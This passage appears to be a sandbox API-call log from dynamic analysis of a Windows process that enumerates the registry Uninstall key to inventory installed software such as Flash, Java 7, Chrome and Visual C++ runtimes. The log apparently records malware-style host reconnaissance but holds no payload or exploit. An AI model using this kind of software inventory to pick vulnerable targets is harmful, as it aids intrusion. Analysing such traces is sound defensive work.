Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n") returned 1264 [0166.389] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n") returned 11 [0166.390] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32850, cbMultiByte=100, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n") returned 100 [0166.390] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x7a8) returned 0x0 [0166.390] RegQueryValueExW (in: hKey=0x7a8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.390] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.390] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04a60, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n") returned 14 [0166.390] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b00, cbMultiByte=100, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB21517571757\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n") returned 100 [0166.390] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2151757", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x7ac) returned 0x0 [0166.390] RegQueryValueExW (in: hKey=0x7ac, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.390] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.391] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n", cchWideChar=1268, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n0", lpUsedDefaultChar=0x0) returned 1268 [0166.391] RegEnumKeyA (in: hKey=0x674, dwIndex=0x27, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173") returned 0x0 [0166.391] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd04b74, cbMultiByte=1268, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n") returned 1268 [0166.391] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f026bcc, cbMultiByte=11, lpWideCharStr=0x1e7de798, cchWideChar=2047 | out: lpWideCharStr="DisplayNamedobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n") returned 11 [0166.391] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32180, cbMultiByte=100, lpWideCharStr=0x1e7de794, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n") returned 100 [0166.391] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df790 | out: phkResult=0x1e7df790*=0x7b0) returned 0x0 [0166.391] RegQueryValueExW (in: hKey=0x7b0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1e7df798, lpData=0x1e7df590, lpcbData=0x1e7df794*=0xfe | out: lpType=0x1e7df798*=0x0, lpData=0x1e7df590*=0x0, lpcbData=0x1e7df794*=0xfe) returned 0x2 [0166.391] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.391] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd321f4, cbMultiByte=14, lpWideCharStr=0x1e7de790, cchWideChar=2047 | out: lpWideCharStr="DisplayVersionrosoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n") returned 14 [0166.391] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32210, cbMultiByte=100, lpWideCharStr=0x1e7de78c, cchWideChar=2047 | out: lpWideCharStr="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB24671737173\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n") returned 100 [0166.392] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2467173", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7df788 | out: phkResult=0x1e7df788*=0x7b4) returned 0x0 [0166.392] RegQueryValueExW (in: hKey=0x7b4, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1e7df790, lpData=0x1e7df588, lpcbData=0x1e7df78c*=0xfe | out: lpType=0x1e7df790*=0x0, lpData=0x1e7df588*=0x0, lpcbData=0x1e7df78c*=0xfe) returned 0x2 [0166.392] RegCloseKey (hKey=0x80000002) returned 0x0 [0166.392] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n", cchWideChar=1272, lpMultiByteStr=0x1e7de7a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto Updater(2.1.71.14)\r\nMicrosoft Visual C++ 2017 x86 Minimum Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2017 x86 Additional Runtime - 14.10.25017(14.10.25017)\r\nMicrosoft Visual C++ 2005 Redistributable(8.0.61001)\r\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161(9.0.30729.6161)\r\nAdobe Reader X MUI(10.0.0)\r\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030(11.0.61030)\r\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2017 Redistributable (x64) - 14.10.25017(14.10.25017.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501(12.0.30501.0)\r\nMicrosoft Visual C++ 2010 x86 Redistributable - 10.0.40219(10.0.40219)\r\n()\r\n()\r\n7", lpUsedDefaultChar=0x0) returned 1272 [0166.392] RegEnumKeyA (in: hKey=0x674, dwIndex=0x28, lpName=0x1e7df85b, cchName=0x3e9 | out: lpName="{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}.KB2524860") returned 0x0 [0166.392] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fd32284, cbMultiByte=1272, lpWideCharStr=0x1e7de7a4, cchWideChar=2047 | out: lpWideCharStr="()\r\nAdobe Flash Player 10 Plugin(10.3.183.90)\r\n()\r\n()\r\n()\r\nGoogle Chrome(59.0.3071.115)\r\n()\r\n()\r\n()\r\n()\r\n()\r\nMozilla Firefox 25.0 (x86 en-US)(25.0)\r\nMozilla Maintenance Service(25.0)\r\n()\r\n()\r\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005(12.0.21005)\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\n()\r\nJava 7 Update 71(7.0.710)\r\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030(11.0.61030.0)\r\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501(12.0.30501.0)\r\nJava Auto 